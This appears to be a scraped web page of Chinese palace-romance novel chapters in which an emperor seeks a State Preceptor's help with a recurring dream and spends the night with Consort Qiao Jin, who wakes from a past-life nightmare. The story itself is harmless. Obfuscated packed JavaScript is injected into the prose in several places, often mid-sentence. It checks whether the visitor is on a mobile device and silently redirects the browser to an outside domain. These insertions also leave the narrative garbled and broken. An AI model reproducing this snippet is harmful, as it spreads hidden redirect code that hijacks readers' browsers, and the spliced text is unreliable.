他喉间先清了清,才开口:“皇上,东安门的暗桩刚递了消息,国师的车架已过涿州,明日酉时三刻能入正阳门。“ 君景珩转身时袖摆带过书案,狼毫笔杆在砚台边缘磕出脆响。 他眉峰微挑,眼底却凝着霜,指节叩了叩紫檀多宝格上的青铜饕餮纹镇纸。 暮色浸透窗棂时,君景珩的指尖还在青铜饕餮镇纸上碾出细碎的纹路。 案头茶盏已凉透,他忽然挥袖扫落盏碟,青瓷碎声里惊起檐下栖鸟,扑棱棱撞得窗纸簌簌作响。 周公公垂眸退后半步,余光瞥见御笔“国泰民安”四字被夜风吹得卷起一角,飞白处竟似渗着暗红,宛如陈年血渍。 “皇上可是忧心国师……”周公公喉间的话未说完,便被一记重叩镇纸的脆响截断。 君景珩指节泛白,盯着多宝格上那尊鎏金药师佛,佛像掌心托着的夜明珠忽明忽暗,映得他眼底阴翳沉沉。 “去正阳门递话。”君景珩忽然起身,腰间龙纹玉带勾刮过桌沿,发出刺耳的锐响,“国师车架一入城门,即刻开东华门直入乾元殿。” 他转身时袖摆带过烛台,火焰猛地窜高寸许,将他投在墙上的影子扯得老长,恰似被拉长的血色符咒。 周公公喉头滚动,望着御案上散落的星图残卷,他恭谨俯身,**纹灰袖拂过满地碎片:“老奴这就去传旨……” 次日。 乾元殿外晨光熹微,鎏金香炉中浮起的烟岚裹着露气,在汉白玉栏杆上凝成薄薄的水珠。 玄衣国师立在丹墀下,广袖垂落如静水无波,腰间一枚古玉饕餮佩随呼吸轻晃,倒比昨夜宫墙外的星月更添几分沉肃。 他抬眼望向檐角悬着的风铃,铜铃上“国泰民安”的刻字在初阳里泛着冷光,恰与昨日君景珩笔下的飞白一般锋利。 早朝声浪透过明黄帷帐传来,隐约可辨户部尚书奏报江南水患的急切。 国师指尖轻叩石栏,叩击声竟与殿内编钟报时的节奏分毫不差。 直到第三声钟响掠过琉璃瓦,朱漆殿门才轰然洞开,君景珩扶着鎏金扶手缓步而下,眉间似凝着未散的朝务尘埃,却在触及国师目光时骤然清明—— ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15845678|175766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那双眼太过沉静,像深潭映着寒月,叫人瞧不清底,偏又觉有万千玄机沉在深处。 “让国师久候了。”君景珩抬手屏退随侍,袖中龙纹暗绣在动势里若隐若现,“昨儿批折子到子时,倒不知今早卯时三刻的朝会,竟比正阳门的晨鼓还催人。” 他说着已走到廊下,忽闻身后书页翻动声,回头只见国师正垂眸翻看着石桌上一本《太初历》,指腹碾过“荧惑守心”的批注时,书页竟无风自动,哗哗掠过三页。 君景珩袖中龙纹随抬手之势翻卷如云,径直往殿内去时,鎏金靴底碾过青石板的声响竟与檐角铜铃碎响叠出几分韵律。 国师指尖刚离《太初历》“荧惑守心”批注处,书页哗啦合拢的脆响里,他已拂袖起身,月白广袖扫过石栏时惊起一缕细尘,在斜斜穿廊的晨光里晃出半道银线。 他步子迈得急,却仍是端着惯有的清冷淡然,墨色发带在身后轻扬,倒像殿外那株老松被风牵了枝梢。 朱漆殿门在二人身后轰然闭合的刹那,铜制门环与门钉相撞发出“当啷“轻响。 周公公佝偻着背将鎏金门闩推上,门轴处经年的牛油浸润得木质温润,可这声响还是惊得檐下白鸽扑棱棱振翅。 国师立在云母屏风前,听着门闩落定的闷响,眉尾微挑,眼尾余光扫过殿角鎏金烛台上将燃未燃的龙涎香,那烟缕竟在他目光触及的瞬间拐了个弯,凝成细缕直往殿中青玉案方向飘去。 “国师可曾遇过...”君景珩站在青玉案前,指尖无意识地摩挲着案角瑞兽镇纸,烛火将他投在屏风上的影子剪得棱角分明,忽然转身时,腰间玉带銙与桌沿相碰,发出清越之音。 “连续三月,每至子时便入同一梦境,却始终瞧不清那人面貌?”他说着抬手按了按眉心,龙纹暗绣的袖口滑下寸许,露出腕间淡青血管——那是连日熬夜批折的痕迹。 国师闻言,缓步走到窗边,指尖轻叩紫檀窗框。 外头正有片梧桐叶飘过,恰好停在他掌心,叶脉纹路竟与《太初历》上“荧惑守心“的星图暗合。 第一百二十三章 对话 御书房内,鎏金香炉中浮沉着龙涎香的淡烟,缭绕在紫檀木书案之上。 君景珩指尖无意识地摩挲着案头冰凉的玉镇纸,目光沉沉落在上首端坐的国师身上。 那人着一身玄色道袍,鹤发童颜,眉梢眼角俱是一派云淡风轻,仿佛天下事皆在他翻覆手掌之间。 “皇上,”国师的声音如古寺铜钟,清越而悠远,他轻轻转动着手中的一串菩提子,“天道循环,因果自有定数。有些事过早揭开,反如拔苗助长,于您、于大胤,皆非吉兆。” 君景珩喉头微动,龙袍下的手指攥得更紧。 这三个月来,同一梦境夜夜纠缠——幽暗的墓室、冰冷的石棺,以及棺中那抹若隐若现的红衣倩影。 每一次他想凑近看清面容,胸口便如被巨石碾过,猛地惊醒,只余满背冷汗。 “国师既知,”他压下语气里的焦躁,帝王的威仪却不自觉地流露,“何不明言?朕身为天子,难道连知晓梦境渊源的资格都无?” 国师抬眸,浑浊的老眼中似有星光一闪而过,随即又恢复平静。 他缓缓颔首,雪白的胡须随动作轻颤:“贫僧知晓,自然知晓。” 此言一出,君景珩的心猛地一沉。他猛地站起身,龙靴踏在青砖上发出沉闷的声响,走到国师面前,目光锐利如鹰:“你果然知道!那梦……究竟是何意?梦里的女子……” 他顿了顿,声音竟带上了一丝自己未察觉的艰涩,“是否与朕的过去有关?” 国师放下菩提子,抬手抚了抚胡须,语气依旧平淡:“皇上以为,为何偏偏是她?为何偏偏是在此时入梦?” “朕……”君景珩喉头哽住。他不是没有想过,而且最让他疑惑的点就是在于他梦中所梦到的那些事情就好像曾经真实发生过。 但是他又确切的肯定这些事情又没有发生过。 这般想着,君景珩迟疑的开口,“就好像梦中的那些事情是来自于上辈子一样。”说完这话过后好似又觉得有些可笑,不禁又低头轻笑一声,将他刚刚的话又给否决掉。 他深吸一口气,压下翻涌的情绪:“朕怀疑,她就在朕的身边。后宫嫔妃,或是……宫中侍女。可每一次在梦中,她的面容都模糊不清,朕无法确定。” 其实他已经有了确定的方向了,但是却没有直接的证据。 国师闻言,竟低低笑了两声,那笑容里藏着几分了然,几分悲悯。 他抬手指向窗外沉沉的夜色:“皇上可曾留意过,月满则亏,水满则溢?有些事,看得太透反而伤神。您既已心生怀疑,便是冥冥中自有指引。” 他顿了顿,语气陡然郑重,“但切记,莫要被‘所见’迷了心智。眼能视物,亦能障目。” 君景珩蹙眉,国师的话总是这般玄妙难懂。他追问:“国师是说,朕的直觉没错?可若她真在宫中,为何在梦中朕连她的模样都记不起?那这又是什么原因?而且国师为何会……”他不敢说出口的是——那女子是否早已不在人世,梦境不过是魂魄的纠缠? 国师却摇了摇头,起身走到窗边,望着天上一弯残月:“皇上可曾想过,那梦境并非‘回忆’,而是‘预兆’?” “预兆?”君景珩一怔,“预兆何事?” “时机未到,多说无益。”国师转过身,从袖中取出一枚古朴的玉佩,玉佩上刻着繁复的云纹,“此乃贫僧早年云游所得,皇上可贴身佩戴。待他日梦境清晰之时,此玉或能助您一臂之力。” 君景珩接过玉佩,触手生凉,隐隐有微光流转。他看着国师,心中疑团更甚:“国师当真不能多说一句?” 国师淡淡一笑,重新坐下,端起案上早已凉透的茶盏:“皇上只需记住,缘起缘灭,皆有定数。强求不得,亦躲避不开。贫僧言尽于此。” 见国师不肯再言,君景珩知道追问无用。他捏紧手中的玉佩,沉声道:“罢了,朕等。但国师需应允,若事态紧急,不得再以此等言语搪塞。” “贫僧遵命。”国师微微颔首,起身行礼,“夜深了,皇上早些安歇,贫僧告退。” 说罢,他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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他低头看着手中的玉佩,云纹在月光下若隐若现。“待他日梦境清晰之时……”国师的话在耳边回响。或许,这不仅仅是一个梦境,更是一把钥匙,一把打开他遗忘过去、甚至决定未来命运的钥匙。 “来人。”他忽然开口,声音在寂静的殿内显得格外清晰。 门外立刻有内侍恭敬应答:“皇上有何吩咐?” “传旨,”君景珩眼神一凛,恢复了帝王的决断,“今晚宣宸嫔。” “是。” 第一百二十四章 反常 周公公佝偻着背,踩着殿外廊下的青砖一路小跑到宸嫔所居的景仁宫时,已是未时末。 鎏金铜鹤香炉里飘着淡淡的百合香,乔瑾正临窗坐着,看绿萝将新采的茉莉穿成串儿,闻言指尖微微一顿,绣绷上的并蒂莲丝线颤了颤。 “宸嫔娘娘,”周公公尖细的嗓音带着惯有的恭谨,躬身行礼时眉尖的皱纹堆成一团,“皇上有旨,今晚请娘娘去乾元殿侍膳。” 绿萝手里的茉莉串“啪嗒”掉在锦垫上,眼睛瞪得溜圆,下意识看向自家主子。 乔瑾面上却只掠过一丝极淡的讶异,旋即敛眸起身,按规矩福了福身:“有劳周公公跑一趟,本宫知道了。” 待周公公走后,绿萝才忍不住凑上前:“娘娘,皇上可是许久没宣您侍膳了……莫不是……” 她话没说完,却见乔瑾已转身走到妆台前,镜中映出她素净的脸,眼神沉静无波:“伺候本宫更衣吧,莫要失了规矩。” 暮色四合时,乔瑾在绿萝的搀扶下踏入乾元殿偏殿。 殿内早已掌了灯,明黄的纱罩下,君景珩已端坐于紫檀木膳桌主位,面前几样精致的菜肴冒着热气,清蒸鲈鱼、翡翠豆腐、水晶肘子,皆是她素日爱吃的口味。 “臣妾参见皇上。”乔瑾按例屈膝行礼,声音清浅如莺啼。 “免了。”君景珩头也未抬,只用银箸拨了拨碗里的莲子羹,语气听不出喜怒,“坐吧,就在朕旁边。” 这话一出,旁边伺候的内侍皆是一愣。 按宫规,嫔妃侍膳需立于桌边布菜,极少有赐座同席的道理。 乔瑾却是已然习惯了,而周公公也是非常的习惯,眼观鼻好似没看见。 只有这些下人只有今日有机会进殿伺候,才得知乔瑾和君景珩原来是这样相处的。 抬眼望去,却见君景珩已抬眸看她,墨色的瞳仁在灯光下深邃难测,似有探究,又似有别的意味。 她心头微凛,依言在他身侧一尺远的绣墩上坐下,脊背挺得笔直,双手规矩地放在膝上。 “尝尝这个,”君景珩夹了一筷水晶肘子放在她面前的白玉碟里,“御膳房新做的,朕记得你爱吃这些甜口的。” 他语气平淡,仿佛只是随口提起,乔瑾却握着银匙的手微微收紧。 乔瑾看着桌上的这些饭菜眼睛诧异了一下,这些的确都是她平常爱吃的,浅笑道:“谢皇上记挂,臣妾……确也许久未尝了。” 席间一时静默,只有银匙碰击玉碗的轻响。 君景珩偶尔会给她布菜,问些无关痛痒的话,比如“景仁宫的炭火可够暖”、“近日读什么书”,乔瑾皆一一温顺应答,眼波低垂,始终带着恰到好处的疏离。 她能感觉到他的目光时不时落在自己身上,那目光不像寻常帝王看嫔妃那般带着情欲或审视,更像是在透过她看某个模糊的影子,带着一种她读不懂的复杂情绪。 直到一碗莲子羹见了底,君景珩才放下银匙,接过内侍递来的湿巾擦了擦手,忽然开口:“你脖子上的玉佩,倒是少见。” 乔瑾下意识摸了摸领口,那枚羊脂玉双鱼佩被贴身戴着,隔着衣料也能感受到温润的触感。 这是在她有记忆当中的时候就有了,有记忆就记得这个玉佩说是能“辟邪安神”,她从未在人前显露过,他如何得知? “回皇上,”她定了定神,轻声道,“是臣妾从宫外带来的寻常物件,不足挂齿。” 君景珩“嗯”了一声,没再追问,只指了指殿角的屏风:“时候不早了,去净手洗漱吧。” 屏风后早已备好温水,两个宫女垂首侍立,将拧干的芙蓉巾递到乔瑾手中。水汽氤氲中,她看着镜中自己微蹙的眉尖,心头的疑云更甚。 皇帝今晚的举动处处透着反常,从赐座同席到提及玉佩,每一句话都似有深意。他到底在试探什么?又或者,他所看到的“乔瑾”,是否真的是她自己? 正思忖间,屏风外传来君景珩的声音,比用膳时多了几分沉敛:“伺候完娘娘,你们先下去吧。” “是。”宫女们福身退下,脚步声渐远,殿内只剩下屏风内外两人。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“娘娘,该擦脸了。”宫女低声提醒,将拧干的软巾递上前。 乔瑾机械地接过,擦拭脸颊的动作有些发僵。 镜中的女子面色苍白,唇瓣抿得毫无血色,哪里还有半分平日的温婉柔顺。 她深吸一口气,想压下翻涌的思绪,可脖颈间的双鱼佩却仿佛有了重量,隔着寝衣贴着心口,烫得她发慌。 待她终于磨磨蹭蹭地走出屏风时,内殿的明黄宫灯已调至最暗,只余下床头两盏羊角宫灯,晕开朦胧的暖光。 君景珩早已躺在宽大的龙床上,玄色寝衣松松地系着,墨发铺散在明黄锦缎枕上,侧脸的线条在光影里显得格外冷硬。 他似乎并未睡去,眼帘微阖,却在她走近时,睫毛轻轻颤动了一下。 乔瑾攥紧了袖中的帕子,走到床榻另一侧,动作僵硬地掀开锦被。 被褥间带着淡淡的龙涎香,还有属于他的、清冽而威严的气息,可她此刻却只觉得浑身紧绷,连呼吸都放轻了几分。 刚躺下,身侧的床榻便微微下陷,一股温热的气息靠了过来。 乔瑾下意识地屏住呼吸,脊背挺得笔直,像一截绷紧的弓弦。 “还在想方才的话?”君景珩的声音在黑暗中响起,带着一丝刚洗漱过的湿润,却依旧听不出情绪。 乔瑾的心猛地一缩,却故作镇定地低声道:“臣妾不敢。只是……只是觉得皇上今日似乎有些疲惫。” “疲惫?”君景珩低笑一声,那笑声里带着几分自嘲,“朕登基三年,从未像近日这般,觉得这龙椅坐得如此……不安稳。” 他的声音很轻,却像重锤敲在乔瑾心上。 她能感觉到他的目光落在自己侧脸上,那目光不再是用膳时的探究,而是多了些复杂难辨的意味,仿佛想从她身上找到某个答案。 “乔瑾,”他忽然伸出手,指尖隔着寝衣,轻轻点了点她心口的位置,正是双鱼佩所在的地方,“你这玉佩,当真只是寻常物件?” 乔瑾浑身一僵,几乎是条件反射地抬手按住胸口,语气带着一丝不易察觉的慌乱:“自然是……皇上为何总是问起臣妾的玉佩?” 黑暗中,君景珩的眸子微微眯起,那点暖光映在他眼底,像寒星闪烁。 他没有回答,而是翻了个身,面朝她,两人的距离瞬间拉近,他身上的气息几乎将她完全笼罩。 “你今日在御花园,是不是看到了什么?”他忽然话锋一转,声音沉了下来,“或是……想起了什么?” 乔瑾的心跳如鼓,几乎要撞破胸膛。 她猛地抬眼,撞进他深不见底的目光里,那目光里有疑惑,有压迫,还有一丝……她不敢深究的希冀。 “臣妾……臣妾今日只是在赏花,并未看到什么。”她垂下眼睫,掩去眸中的惊涛骇浪,指尖却将那双鱼佩攥得更紧,冰凉的玉质硌得掌心生疼,“皇上是不是……做了什么不好的梦?” 这句话出口,君景珩的身体明显一滞。他盯着她看了许久,久到乔瑾几乎以为他不会回答,才听到他从喉咙里逸出一声极轻的叹息。 “是做了个梦。”他缓缓道,声音里带着一种疲惫的沙哑,“梦里有个人,戴着与你相似的玉佩,站在一片火光里……朕想看清她的脸,却总是看不真切。” 他的指尖无意识地摩挲着枕畔,那里似乎还放着他自己的云纹玉佩。 乔瑾的呼吸顿住,火光?玉佩? 不可能的,估计只是巧合罢了,要是君景珩真的想起上一世的事情,估计也就不会这样了。 “皇上……”她颤声开口,想说些什么,却被君景珩抬手打断。 他的指尖轻轻拂过她的眉骨,动作带着一种奇异的熟稔,不像帝王对嫔妃,倒像是……久别重逢的故人。 “睡吧。”他忽然道,语气又恢复了几分平日的淡漠,只是那眼底的复杂却未散去,“有些事,不必急着弄清。” 说完,他转过身,背对着她,留给她一个宽阔却显得有些孤寂的背影。 乔瑾僵在原 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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乔瑾的话没说完,就被老嬷嬷不耐烦地打断:“娘娘还是安心用膳吧,陛下日理万机,哪有功夫管这些。” 那声音里没有半分怜悯,只有程式化的冷漠,仿佛她不是曾经宠冠后宫的贵妃,只是一个需要按时投喂的囚徒。 这样的对话,在被囚禁的日子里,每日都要上演。 有时是老嬷嬷,有时是看守的小太监,话语永远简短,态度永远疏离。 她曾一遍遍追问,一遍遍哀求,想知道自己为何被关在这里,想知道那个曾对她许下山盟海誓的人,为何能如此狠心。 “娘娘,您就别问了,问也没用。”另一个年轻些的太监声音响起,带着点不易察觉的畏惧,“好好待着,比什么都强。” “好好待着……”乔瑾在梦里喃喃重复,心口像是被一只冰冷的手攥紧,疼得她几乎喘不过气。 所谓的“好好待着”,就是日复一日守着这空旷的大殿,看日升月落,听自己的呼吸声在寂静中回荡。没有人跟她说话,除了必要的晨昏定省般的交接,连眼神的交汇都吝啬给予。 她也曾对着空荡荡的殿宇自言自语,说着说着,就会想起曾经的盛宠,想起君心殿外的繁花似锦,想起他曾握着她的手,说“央央,这君心殿,便是朕为你筑起的暖巢”。 可如今,这暖巢成了囚笼,困住了她的人,也冻僵了她的心。 “水……给我水……”她在梦里嘶哑地乞求,喉咙干得像要冒烟。脚步声近了,一个粗瓷碗被放在她手边,水是温的,却带着一股说不清的涩味。 她挣扎着去够,指尖触碰到碗沿,那冰冷的触感却如此真实,让她猛地一颤。 “陛下……臣妾没有错……臣妾是被冤枉的……”她终于忍不住哭喊出来,声音在空旷的大殿里激起微弱的回音,然后迅速被死寂吞噬。 没有回应,永远没有回应。只有殿门被“吱呀”一声关上的声音,像是在她心上又落了一把锁。 “不——!” 乔瑾猛地从床上坐起,冷汗瞬间浸透了中衣,胸口剧烈起伏着,仿佛刚从溺水的边缘挣扎回来。 窗外的天色依旧沉暗,更漏似乎比刚才又近了些,可那君心殿里的阴冷、那冷漠的对话、那深入骨髓的绝望,却如同附骨之疽,紧紧攫住她,让她在这现实的床榻上,依旧止不住地颤抖。 原来,哪怕过了这么久,那座宫殿,那些话语,依旧是她灵魂深处最无法磨灭的噩梦。 乔瑾的声音带着梦魇未散的破碎呜咽,指尖痉挛般攥紧了身侧的锦被,猛地转身时,额头的冷汗竟滴落在身侧男子的手背上。 身侧的君景珩本就浅眠,那声带着极致恐惧的轻唤像根细针,瞬间刺破了他的睡意。 他几乎是立刻睁开眼,墨色的瞳孔里尚残留着未散的朦胧,却在看清身旁景象的刹那,眸光骤然收紧。 昏黄的烛火下,乔瑾跪坐在床榻上,身上的寝衣已被冷汗浸得半湿,贴在单薄的脊背上。 她整个人都在剧烈地颤抖,像是寒风中一株瑟缩的苇草,牙齿甚至控制不住地发出轻微的碰撞声。 额前的碎发被汗水濡湿,黏在苍白得近乎透明的脸颊上,几缕发丝随着她的颤抖轻轻晃动,衬得那双刚从噩梦中挣脱的眼眸里,盛满了惊魂未定的水光。 “央央?”君景珩的心猛地一揪,喉头滚过一声低唤。 他来不及多想,长臂一伸便将她整个人揽进怀里,掌心隔着微湿的衣料覆上她冰凉的后背,轻轻摩挲着,试图将自己的温度传递给她,“怎么了?” 怀中人的身体僵硬得像块石头,许久才传来一声细若蚊蚋的抽噎。 君景珩能清晰地感觉到她在自己臂弯里抖得更厉害了,连带着他的心脏也仿佛被那颤抖牵扯着,泛起细密的疼。 他收紧手臂,将她抱得更紧些,让她的脸颊贴在自己温热的肩窝处,声音放得极柔,带着安抚的意味:“做噩梦了?” 乔瑾埋在他怀里,鼻尖萦绕着他身上熟悉的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15845682|175766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 龙涎香气息,那是现实中独有的、能让她稍稍安定的味道。 可噩梦的余悸仍像冰冷的潮水,源源不断地从四肢百骸涌上来,她只能凭着本能,攥紧他胸前的衣襟,指尖几乎要嵌进他的皮肉里。 “嗯……”她终于从喉咙里挤出一个气音,带着浓重的鼻音,“好冷……皇上,我好冷……” 君景珩闻言,立刻用被子将两人一同裹紧,另一只手抬起,用指腹轻轻擦去她额角的冷汗。 他垂眸看着她埋在自己肩窝处的发顶,那发丝间还残留着湿意,掌心下她的脊背仍在微微战栗。 “可是梦到……什么事情了?”他声音低沉,带着一丝不易察觉的愧疚与心疼,以及还有一丝丝的试探,“梦都是假的,不必当真。” 乔瑾还沉浸在自己的思绪里面,她知道,那些被囚禁在君心殿的日子,是横亘在她心头最深的刺,哪怕如今那些都已经是上一辈的事情了,哪怕他日夜相伴,那噩梦依旧会在深夜里将她拖回过去的深渊。 乔瑾没有回答,只是将脸埋得更深,像是在寻求庇护。 君景珩沉默片刻,指尖轻轻梳理着她汗湿的发丝,语气是不容置疑的温柔:“要不要喊太医过来?让李院判看看,是不是心悸了?” 怀中的人却在此刻轻轻摇了摇头,她终于抬起头,眼眶通红,睫毛上还挂着未干的泪珠,眼神却比刚才多了些现实的焦距。 她看着近在咫尺的君景珩,看着他眼中毫不掩饰的担忧与疼惜,唇瓣动了动,最终只是用带着哭腔的声音,轻轻说了一句:“不用……有你在,就好了……” 她说着,又重新埋进他的怀里,紧紧环住他的腰,像是抓住了唯一的浮木。 君景珩眸色一暖,低头在她汗湿的额头上印下一个轻柔的吻,手臂将她圈得更稳:“我在,央央,我一直在。” 窗外的更漏又响了一声,夜色依旧深沉,但寝殿内的烛火却映着相拥的两人,将那噩梦带来的寒意,一点点煨暖。 第一百二十七章 困倦赖床 夜漏更深,烛火在纱帐外曳出明明灭灭的光晕。 “没事儿,都是梦,梦就都是假的。” 君景珩的声音带着刚醒的沙哑,却裹着惯常的温沉。 他无需点灯,便已熟稔地探手将她揽进怀里,掌心隔着薄衣覆上她汗湿的后背,一下下顺着肌理轻缓地摩挲,像是在安抚受惊的幼兽。 乔瑾埋在他肩窝,鼻尖萦绕着他身上清冽的冷松香气,那是能让她瞬间安定下来的味道。 梦里的残像还在脑海里晃悠——是滔天的火光,是碎裂的琉璃瓦,还有……她抓不住的手。 “不怕了,我在。”君景珩的下巴抵着她的发顶,声音压得极低,带着不容置疑的安稳,“只是梦。” 他另一只手抬起,指尖轻轻梳理着她汗湿的鬓发,指腹擦过她微颤的眼睫时,能感觉到那细密的战栗。 他就这样抱着她,由着她攥紧自己的衣襟,直到她急促的呼吸渐渐平复,身体也不再紧绷。 窗外的更漏敲了四下,已是寅时末。君景珩知道她这一觉睡得不安稳,便将她往怀里又拢了拢,低声道:“再睡会儿,天还早。” 乔瑾唔了一声,像只寻求温暖的猫儿,往他怀里蹭了蹭,鼻尖蹭过他颈间的皮肤,带来一阵微痒的暖意。 他垂眸看着她埋在自己胸口的发顶,眼底的温柔几乎要溢出来,直到确认她呼吸均匀,才慢慢松开手臂,小心翼翼地替她掖好被角。 可这安稳并未持续太久。 不多时就要到了上早朝的时候,君景珩还没有怎么睡着,就又起来上早朝了。 当君景珩轻手轻脚起身时,床榻的微晃还是惊扰了浅眠的人。 乔瑾嘤咛一声,并非全然清醒,只下意识地翻了个身,将自己卷进锦被里,露出一小截光洁的后颈和蜷曲的肩头,发出几声含混的呓语,像是在抱怨这扰人的动静。 君景珩正立在床前系着中衣的腰带,闻言动作一顿,目光落在她拱成一团的背影上。 晨曦微露的光透过窗棂,在她发梢镀上一层淡淡的金辉,那蜷缩的姿态透着十足的依赖与娇憨。 他看着她平稳而舒缓的呼吸,看着她无意识蹭了蹭枕头的小动作,终是没忍住,喉间溢出一声极轻的、带着笑意的喟叹。 “这般懒猫似的。”他低声自语,语气里满是无奈的宠溺。 随即,他转过身,对着候在屏风外的内侍和宫女们抬了抬手,声音压得极低,却带着清晰的指令:“伺候动作轻些,莫要惊了娘娘。” 屏风后的下人们早已屏息静候,闻言更是连大气都不敢出。 捧着脸盆的宫女放轻了脚步,鞋底几乎不沾地;负责梳理朝服的内侍展开衣料时,连锦缎摩擦的窸窣声都刻意放柔。 整个寝殿里,只剩下君景珩穿戴朝服时极轻微的环佩轻响,以及床榻上乔瑾均匀而绵长的呼吸声,那声音像羽毛一样,轻轻拂过晨光微熹的静谧。 君景珩穿戴整齐,最后看了一眼床上依旧熟睡的身影,这才转身,脚步无声地离开了寝殿。 而榻上的乔瑾,似乎并未察觉他的离开,只是在锦被里换了个更舒服的姿势,长长的睫毛在眼睑下投下淡淡的阴影,彻底沉入了安稳的梦乡,直到殿外传来远远的钟鼓之声,预示着新一天的开始。 卯时三刻的钟鼓方歇,君景珩的脚步声消失在寝殿门外时,乔瑾才像卸下了最后一道防备。 昨夜噩梦后的心悸与断续浅眠,早已耗尽了她的心神,此刻周遭彻底安静下来,唯有窗外渐次清晰的鸟鸣声,衬得殿内越发静谧。 她往温热的锦被里缩了缩,眉头舒展,连呼吸都带着孩童般的匀净,昨夜汗湿的鬓发已在暖帐中焐干,几缕碎发贴在莹白的脸颊上,随着绵长的呼吸轻轻颤动。 这一觉竟睡得格外沉。殿外的日头渐渐爬高,透过雕花窗棂的光影从斜斜的金线,慢慢移成了满窗的暖亮。 伺候的宫女曾蹑手蹑脚进来换过一次温水,见榻上的人依旧睡得深沉,连眼睫都未曾颤动一下,便又悄无声息地退了出去,只将殿门虚掩,留了道缝隙让晨风吹散沉眠的滞闷。 直到巳时的梆子声从宫墙深处隐隐传来,君 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15845683|175766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 景珩才从御书房回来。 他换下了沉重的朝服,只着一身月白常服,墨发松松束在玉冠中,眉宇间尚带着几分处理完政务的倦怠,可一踏入寝殿,目光便下意识地投向床榻。 只见锦被依旧隆起一个柔和的弧度,那人还维持着他离开时的姿势,侧脸埋在枕头里,只露出小巧的鼻尖和一截纤长的颈项。 “娘娘还没醒?”他放轻脚步走到床边,声音里带着一丝不易察觉的讶异。 立在一旁的宫女低声回道:“是,从陛下走后便一直睡得沉,奴婢们瞧着眼下的青影重,便没敢惊扰。” 君景珩颔首,探手轻轻拂开她覆在脸颊的碎发,指腹触到她肌肤时,只觉一片温软。 他俯下身,能看到她眼下淡淡的青晕,显然是昨夜噩梦折腾得狠了。 殿内的光线有些亮了,他便伸手将床头的纱帐又放下了些,遮住刺眼的日光,这才在床沿坐下,指尖无意识地摩挲着她垂在被外的手背。 “阿瑾,醒醒。”他开始轻声唤她,手掌顺着她的手臂轻轻拍了拍,“时辰不早了,再睡下去,早饭可就真成了午饭了。” 榻上的人只是嘤咛了一声,像只被打扰的懒猫,往被子里拱了拱,连眼睛都没睁开,只含糊地咕哝:“唔……不要……” 君景珩无奈地笑了笑,俯身凑近她耳边,故意用带着些微痒的气音道:“再不起,御膳房新做的梅花肉可就要被小厨房的馋猫叼走了。” 这话倒是让乔瑾的睫毛颤了颤,她慢悠悠地掀开一条眼缝,朦胧的视线对上他含笑的眸子,眼神还带着未醒的水汽,声音软糯得像团棉花:“皇上……”她伸出手,从被子里摸出来,抓住他的衣角轻轻晃了晃,“我好困……再睡一会儿,就一会儿好不好?” 她一边说,一边又闭上了眼睛,脑袋往他的方向蹭了蹭,额头轻轻抵在他的肩窝,温热的呼吸透过衣料传来,带着刚睡醒的慵懒。 “昨晚……没睡好……”她嘟囔着,语气里带着明显的委屈,“你让她们把吃的温着,我再睡半个时辰……就半个时辰……” 第一百二十八章 温热 君景珩被她蹭得心头一软,伸手揉了揉她睡得有些凌乱的发顶,指尖触到她微凉的耳垂,忍不住捏了捏:“半个时辰?”他故意拖长了语调,“上次你说半个时辰,可是睡了一个时辰才肯睁眼。” “这次不会了……”乔瑾的声音越来越低,几乎要钻进被子里,“真的……我保证……” 她抓着他衣角的手又紧了紧,像是怕他跑掉,整个人都往他身边赖,“你就在这儿陪着我,我就睡一小会儿……” 看着她这副全然依赖的模样,君景珩哪里还舍得再催。 他叹了口气,顺势在她身边躺下,手臂轻轻环住她的腰,将她往自己怀里带了带,低声道:“好,那就再睡半个时辰。不过丑话说在前头,到时候若是再赖床,今日的梅花肉可就真的没了。” 